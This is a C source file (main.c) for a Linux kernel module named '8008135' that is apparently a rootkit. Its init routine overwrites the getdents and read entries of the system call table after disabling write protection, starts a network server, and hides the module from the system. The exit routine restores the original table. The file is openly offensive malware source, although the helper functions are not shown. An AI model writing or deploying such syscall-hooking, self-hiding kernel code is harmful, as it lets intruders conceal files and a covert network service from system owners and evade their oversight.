/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
/*
 * main.c
 * Copyright (C) 2019 
 * 
 * 8008135 is free software: you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the
 * Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 * 
 * 8008135 is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License along
 * with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/*******************************************************************************/

/**** includes *****************************************************************
*******************************************************************************/
#include "8008135.h"

/*******************************************************************************/

/***  FUNCTION  ****************************************************************
*          NAME:  8008135_init
*   DESCRIPTION:  initializing Kernel Module - hijacking syscalltable
*    PARAMETERS:  -
*       RETURNS:  int
*******************************************************************************/
static int __init init_8008135(void) {

	sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
	sys_read_orig	  = (sys_read_ptr)((void**)sys_call_table)[__NR_read];

	wprotectionoff();

	sys_call_table[__NR_getdents] = sys_getdents_new;
	sys_call_table[__NR_read]     = sys_read_fake;

	wprotectionon();

	network_server_init();
	hide_module();
	
	return 0;
}

/***  FUNCTION  ****************************************************************
*          NAME:  8008135_exit
*   DESCRIPTION:  unloading Kernel Module, restoring the original system call table
*    PARAMETERS:  -
*       RETURNS:  -
*******************************************************************************/
static void __exit exit_8008135(void) {

	network_server_exit();

	wprotectionoff();

	sys_call_table[__NR_getdents] = sys_getdents_orig;
	sys_call_table[__NR_read] 	  = sys_read_orig;

	wprotectionon();
}

/*******************************************************************************/

module_init(init_8008135);
module_exit(exit_8008135);

/*******************************************************************************/